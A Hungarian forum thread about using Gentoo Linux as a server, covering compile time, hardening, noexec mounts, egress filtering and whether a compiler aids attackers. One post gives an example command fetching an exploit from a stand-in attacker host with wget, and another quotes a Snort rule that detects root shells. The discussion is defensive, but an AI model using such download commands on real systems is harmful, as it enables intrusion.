Gentoo Linux szerveren?

[quote:f4f0f4c9cb="mikebela777"]Félreértés ne essék, nem flame-elni akarok.

Az elmúlt időszakban ismerkedtem meg a Gentoo Linux-szal, nyilván asztali felhasználásra. Megtetszett testreszabhatósága és hihetetlen sebessége miatt.

A kérdésem az, hogy használ-e valaki Gentoo-t szervernek/munkahelyen, és ha igen, milyen jó vagy rossz tapasztalatai vannak.

Én arra gondoltam, hogy egy szervernek való programcsomag lefordítása nem épp olyan szörnyű nagy idő (nincs X, nincs KDE). Ha pedig a fordítás menete biztonsági veszélyforrást jelentene, akkor egy másik ugyanolyan procijú gépen fordítanám a szerver gépéhez.

Én használok a munkahelyen és nagyszerűen muzsikál. Beállított állapotban karbantartása nem bonyolultabb, mint egy Debian-é.

Szerver célokra figyelmedbe ajánlom a Gentoo Hardened Project-et. Ezzel csak az Adamantix (Debian alapú) és a Fedora Core 3 veszi fel versenyt.

Üdv,
Dw.

Még egy apróság a gcc-től félőknek: perl? python? (ha jól tudom, a "csomagkezelése" python alapú). Mert azért "binárist" ezekkel is is el lehet érni (magyarul majdnem C-szintű mélységére jutsz a rendszernek ezekkel a script-nyelvekkel), és ezek azért fenn szoktak lenni, vagy nem?

Igen, a portage pythonban íródott.

Konkrétan nincsen tapasztalatom, szerintem jó lenne, mert könnyũ frissen tartani a rendszert. Konkrétan a Prohardver.hu használ Gentoo-t, legalábbis úgy láttam :)

Szerintem eleve az, hogy egy szerveren van C fordító, lehet egy biztonsági hiányosság, mert a támadó elvileg tud forgatni exploitot. OK tudom, ha nincs fordító, akkor tud feltölteni egyet, de az nem egészen ugyanaz.

[quote:3300b3899d="andrash"]Szerintem eleve az, hogy egy szerveren van C fordító, lehet egy biztonsági hiányosság, mert a támadó elvileg tud forgatni exploitot. OK tudom, ha nincs fordító, akkor tud feltölteni egyet, de az nem egészen ugyanaz.

Igen, ezt én is felhoztam 1x, de jogosan leugattak, mert minek a fordito?
Ha a kodot be tudja cuccolni, akkor a binarist is, nem?

A legjobb, ha a szerver funkciok meghajtói noexec vannak felmountolva.
Nalam pl. /var/www meg /var/mail

Ha meg mar root joga van, akkor mindent megtehet.
Ez ellen a teljeskoru ellenorzes jelent vedelmet,
pl. azonnali sms, a root bejelentkezesenel.
csak azt nem tudom ezt hogy lehet megcsinalni,
a sajat mobilszolgaltatomnal?
Segitsetek, ha tudjatok!

[quote:02880937a7="global77"]A legjobb, ha a szerver funkciok meghajtói noexec vannak felmountolva.
Nalam pl. /var/www meg /var/mail.

A /tmp-t is érdemes.
[quote:02880937a7="global77"]pl. azonnali sms, a root bejelentkezesenel.
csak azt nem tudom ezt hogy lehet megcsinalni,
a sajat mobilszolgaltatomnal?

A 'régebben magyar, most német' szolgáltatónál havi 2-300 Ft-ért lehetett kérni email-címet, és az arra jövő levelek subject-jét kiküldtés sms-ben.
A 'most is magyar' szolgáltatónál azt hiszem van hasonló dolog 'telefonszám@szolgáltató.hu' jelleggel, részleteket nem tudok, de engem is érdekelne.
Az 'angol' szolgáltatóról semmit sem tudok.

[quote:62792b0c01="global77"]Igen, ezt én is felhoztam 1x, de jogosan leugattak, mert minek a fordito?
Ha a kodot be tudja cuccolni, akkor a binarist is, nem?

Tegyük fel, hogy sikerül egy hiba, mondjuk egy buffer overflow miatt (nem root) shell-t indítani a támadónak. Hogyan fogja idetölteni a binárisát? ftp, scp? Ezek kiesnek, mert valamilyen azonosítás kéne hozzájuk, ráadásul egy csomó logolással járnak.
Lehet hogy rosszul gondolom, akkor javítsatok ki :)

[quote:05af7ada76="andrash"][quote:05af7ada76="global77"]Igen, ezt én is felhoztam 1x, de jogosan leugattak, mert minek a fordito?
Ha a kodot be tudja cuccolni, akkor a binarist is, nem?

Tegyük fel, hogy sikerül egy hiba, mondjuk egy buffer overflow miatt (nem root) shell-t indítani a támadónak. Hogyan fogja idetölteni a binárisát? ftp, scp? Ezek kiesnek, mert valamilyen azonosítás kéne hozzájuk, ráadásul egy csomó logolással járnak.
Lehet hogy rosszul gondolom, akkor javítsatok ki :)

1. szerveren minek user ???
2. gentoo a fordítást sandboxban csinálja --- eldob minden jogot ami nem kell a forgatáshoz és csak az installnál kapja őket vissza
3. a paranoia mindenek felett
3.2. betonozzátok be a szervert és huzzátok ki a kábelt
4. betörő legyen a talápán aki egy nyitott 80 as porton keresztül meghackeli a jól beállított chrootban futó apachot

5. a shell es gép meg elvből nem azonos azzal ami szolgáltat ugyanis igencsak eltérő biztonságra van szükség egy web és egy shell serveren

[quote:7c88f48ba2="global77"]Ha meg mar root joga van, akkor mindent megtehet.
Ez ellen a teljeskoru ellenorzes jelent vedelmet,
pl. azonnali sms, a root bejelentkezesenel.
csak azt nem tudom ezt hogy lehet megcsinalni,
a sajat mobilszolgaltatomnal?
Segitsetek, ha tudjatok!

:lol:

Az ilyen "azonnali sms, a root bejelentkezesenel" otleteken mindig jot mulatok... Egy tamado nem fog siman rootkent bejelentkezni, ha meg egy hiban keresztul szerez root jogosultsagot azt te nem fogod egykonnyen detektalni.

[quote:182bcf58c5="andrash"]Tegyük fel, hogy sikerül egy hiba, mondjuk egy buffer overflow miatt (nem root) shell-t indítani a támadónak. Hogyan fogja idetölteni a binárisát? ftp, scp? Ezek kiesnek, mert valamilyen azonosítás kéne hozzájuk, ráadásul egy csomó logolással járnak.
Lehet hogy rosszul gondolom, akkor javítsatok ki :)

:lol:

10001 megoldás van rá... A hacker (vagy tőlem nevezhetjük támadónak is) legfőbb ismérve, hogy roppant hatékonyan feltalálja magát. Miért kellene neki ftp/scp arra a gépre? Azon a gépen ki tud adni parancsokat, tehát onnan ftpzik/scp-zik kifele a binárisért. Vagy egyszerűen wget http://tamadogepe/exploit... :) Nincs wget? Akkor is akár azon a csatornán is áttudja juttatni a kódot amelyiken a parancsokat kiadja, nincs szükség másik csatornára... Ezért nem jelent nagy biztonságot a tűzfal sem. :wink:

[quote:cf0eecae15="hunger"]Azon a gépen ki tud adni parancsokat, tehát onnan ftpzik/scp-zik kifele a binárisért. Vagy egyszerűen wget http://tamadogepe/exploit... :)

No, ezt elég egyszerű letiltani. A kifele új kapcsolatokat csak meghatározott gépek felé kell engedni (frissítés, DNS szerver, meg ilyesmi). Így a támadó nem tud belülről ftp-zni, max a biztonsági frissítést tudja lehúzni :)

[quote:5fc914d45f="hunger"][quote:5fc914d45f="global77"]Ha meg mar root joga van, akkor mindent megtehet.
Ez ellen a teljeskoru ellenorzes jelent vedelmet,
pl. azonnali sms, a root bejelentkezesenel.
csak azt nem tudom ezt hogy lehet megcsinalni,
a sajat mobilszolgaltatomnal?
Segitsetek, ha tudjatok!

:lol:

Az ilyen "azonnali sms, a root bejelentkezesenel" otleteken mindig jot mulatok... Egy tamado nem fog siman rootkent bejelentkezni, ha meg egy hiban keresztul szerez root jogosultsagot azt te nem fogod egykonnyen detektalni.

Az azonnali SMS küldést van aki szereti, van aki nem (én nem), aber...
A PAM detektál minden AUTH cselekményt. Bejelentkezés, su, sudo, stb. Tehát ha valaki szeretné ezt megcsinálni, nem lehetetlen.
Az ízlés pedig egy másik kérdés.

A saját mobilszolgáltatódnál pedig úgy tudod megcsinálni, hogy felhívod az ügyfélszolgálatot és addig tapicskolod a telefont, amíg élő embert nem találsz a vonal másik végén, majd tőle megkérdezed.

Üdv.: Tomyellow

[quote:edebec5bb7="andrash"]No, ezt elég egyszerű letiltani. A kifele új kapcsolatokat csak meghatározott gépek felé kell engedni (frissítés, DNS szerver, meg ilyesmi). Így a támadó nem tud belülről ftp-zni, max a biztonsági frissítést tudja lehúzni :)

És ha a gép proxy szerverként működik egy cégnél? :wink:

De mondtam... Akár abban a TCP sessionben is áttudja küldeni a kódot amin keresztül a parancsokat adja ki. Egyébként erre sincs szükség, mert az igazán komoly arcok egyből olyan shellcodeot hajtatnak végre exploit esetén amely egy kernel bugot is kihasznál és egyből root jogosultságot szerez, anélkül, hogy fordítgatni vagy feltölteni kellene bármit is. Persze ilyen bonyolult shellcodeokat nehéz összerakni, dehát nem a szomszéd script kiddietől kell félnünk. :lol:
Egyébként láttam már olyan shellcodeot is, amely egy titkosított csatornát hozott létre abban a TCP sessionben amelyen az exploit végbe ment és így a titkosított átjárón keresztül bármilyen parancsot kilehetett adni anélkül hogy pl. fennakadt volna a Snort vagy egyéb IDS-en.

Lásd Snort IDS (version 2.0.0):

[code:1:edebec5bb7]alert ip any any -> any any (msg:"ATTACK RESPONSES" id check returned root";
content: "uid=0(root)" ; classtype:bad-unknown; sid:498; rev:3;)[/code:1:edebec5bb7]

Jakérem ez már egy külön tudomány... :D

sms-email atiranyitas RTM!

pl. a pannon-nal 160 vagy 300 ft egy honapban, aztan smskent 6 ft. regebben ingyen volt
pannon mobil posta a neve.

a pam-os auth-ra sms kuldes is hulyeseg pont ugyanazon oknal fogva amit az elobb irtak.
A hacker/cracker nem a jelszavaddal fog sshn vagy su-val bejelentkezni, hanem megtor vmi rootkent futo/futtathato(suidos) progit aztan kesz. Az nem auth.

[quote:676e16c357="hunger"]Egyébként erre sincs szükség, mert az igazán komoly arcok egyből olyan shellcodeot hajtatnak végre exploit esetén amely egy kernel bugot is kihasznál és egyből root jogosultságot szerez, anélkül, hogy fordítgatni vagy feltölteni kellene bármit is. Persze ilyen bonyolult shellcodeokat nehéz összerakni, dehát nem a szomszéd script kiddietől kell félnünk. :lol:

Azért én a script kiddiektől is félnék, és ha egy biztonsági megoldás a támadóknak csak a 99%-át akadályozná meg akkor is alkalmaznám, és nem vetném el élből csak azért mert az az 1% úgyis átjutna rajta. Mint tudjuk, feltörhetetlen rendszer nincs :wink:
Szóval én továbbra se raknék C fordítót szerverre ha nem muszáj :)

[quote:541898db1f="andrash"]Szóval én továbbra se raknék C fordítót szerverre ha nem muszáj :)

Pedig sokszor jobb ha egy szervíz egyedileg van fordítva és nem egy publikus bináris van feltelepítve (előre fordított csomagok, mint pl. debiannál). Utóbbira úgyanis előbb készül el biztosan működő exploit, megfelelő ret addressel és a többivel... :wink:

amit szerintem sokan elfelejtenek az az, hogy a szerveren a vedekezesre forditott energiat egyenloen kell megosztani a:
- tamado elharitasara, akadalyozasara
- a bejutott tamado eszrevetelere!

Semmit nem er ha korbeveszed magad mindenfele vedelemmel, aztan ha vki megis bejut, (amire mindig van esely), akkor ott lehet a vegtelensegig!

Futtatok tobb gepen gentoot szerverkent, es nem volt eddig nyugom vele (igaz meg csak kb fel eve mennek). Frissites nem veszes, foleg ha normalisan hasznalod a USE flageket es nem raksz fel mindenfele hulyeseget. Configok frissitesevel sem volt meg gondom, es az interaktiv config merge is eleg jol hasznalhato. A gcc fennlete szerintem nem kulonosebben gaz, arra van az acl hogy ne engedd a juzereknek :wink:, de imho olyan gepen ahol nincsenek shell accok kiadva, az aki normalisan beallitott pax+acl-en keresztulvergodik, es kap sima shellt, annak ugyis mindegy hogy van-e gcc vagy nincs :)
A glsa-check is hasznos dolog, kis odafigyelessel akar automatizalni is lehet (bar en jobban szeretem a manualis frissitest). Stabilitassal nem volt meg problemam, jol birja a gyurodest.
Ahogy hunger is emlitette, az eleg pozitiv hogy egyedi binarisok vannak, es ez imho tobbet er, mint az hogy nincs fent gcc. Ez nem feltetlenul csak a scriptkiddiet fogja meg, mert vagy ugyanazt a kornyezetet megteremti maganak otthon es azon tesztel (eleg nehez), vagy az retaddress bruteforceal nagyon csunyan televagja a logokat, es nem is rovid ido raadasul.
Persze a hatranyai megvannak a gentoonak is, gyenge gepen nem erdemes eroltetni szerintem.

[quote:91fce1e112="mikebela777"]
Hát ezt jó hallani :). Melyik szintről telepítesz szervergépekre

stage1-rol szoktam (mast nem is probaltam meg)
[quote:91fce1e112="mikebela777"]
és mennyire turbózod a CFLAG-eket?

A CFLAGekkel kulturaltan banok, -O3 -fomit-frame-pointer -pipe
(meg persze mcpu processzorfuggoen) A tobbit nem szoktam eroltetni. Desktopon valtozo, szoktam meg oda funroll-loops-t, es pl via edeneken -Os -O3 helyett. USE flagekre erdemes nagyon odafigyelni (pl system emergenel java kikapcs), es csak azt bekapcsolni amire valoban szukseged van, vagy egyenkent kezzel megadni minden forgatasnal, kulonben iszonyat sok dependency-t kell forgatni. A telepites ideje ettol is legalabb annyira fugg mint a hw-tol. En ufed-et szoktam hasznalni a flagek beallitasara, kis ncurses feluletu cucc.
[quote:91fce1e112="mikebela777"]
Mennyi időt vesz fel egy efféle rendszer ősszeállítása?

Ezt nem tudom megmondani, mert altalaban ejszakara szoktam hagyni a stage1/2-t. Persze attol fugg milyen hw-n nyomod, illetve ha van tobb gep a kozeledben, akkor distcc-t erdemes izzitani, mert nagyon meg tudja gyorsitani a dolgokat.
Ha fent vannak a csomagok, a tovabbi configolas nem veszes, szerintem a default configok amiket felrak, eleg jok. Ha elso gentoo telepitesed, akkor mielott meg nekiallnal, olvasd vegig az idevago gentoo howto-kat, reszletesek, es erthetoek. Aztan telepites kozben meg elolvasod masodjara ;)